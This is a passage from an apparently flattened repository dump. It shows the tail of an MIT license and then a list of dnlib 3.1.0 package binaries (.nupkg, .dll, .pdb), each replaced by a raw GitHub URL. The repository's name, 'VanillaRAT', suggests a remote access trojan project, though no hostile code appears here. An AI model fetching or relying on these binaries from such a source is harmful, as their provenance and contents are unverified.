INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 16 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. 17 | IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY 18 | CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, 19 | TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE 20 | SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 21 | -------------------------------------------------------------------------------- /packages/dnlib.3.1.0/dnlib.3.1.0.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/dnlib.3.1.0/dnlib.3.1.0.nupkg -------------------------------------------------------------------------------- /packages/dnlib.3.1.0/lib/net35/dnlib.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/dnlib.3.1.0/lib/net35/dnlib.dll -------------------------------------------------------------------------------- /packages/dnlib.3.1.0/lib/net35/dnlib.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/dnlib.3.1.0/lib/net35/dnlib.pdb -------------------------------------------------------------------------------- /packages/dnlib.3.1.0/lib/net461/dnlib.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/dnlib.3.1.0/lib/net461/dnlib.dll -------------------------------------------------------------------------------- /packages/dnlib.3.1.0/lib/net461/dnlib.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/dnlib.3.1.0/lib/net461/dnlib.pdb -------------------------------------------------------------------------------- /packages/dnlib.3.1.0/lib/netcoreapp2.1/dnlib.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/dnlib.3.1.0/lib/netcoreapp2.1/dnlib.dll -------------------------------------------------------------------------------- /packages/dnlib.3.1.0/lib/netcoreapp2.1/dnlib.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/dnlib.3.1.0/lib/netcoreapp2.1/dnlib.pdb -------------------------------------------------------------------------------- /packages/dnlib.3.1.0/lib/netstandard2.0/dnlib.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/dnlib.3.1.0/lib/netstandard2.0/dnlib.dll -------------------------------------------------------------------------------- /packages/dnlib.3.1.0/lib/netstandard2.0/dnlib.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/dnlib.3.1.0/lib/netstandard2.0/dnlib.pdb --------------------------------------------------------------------------------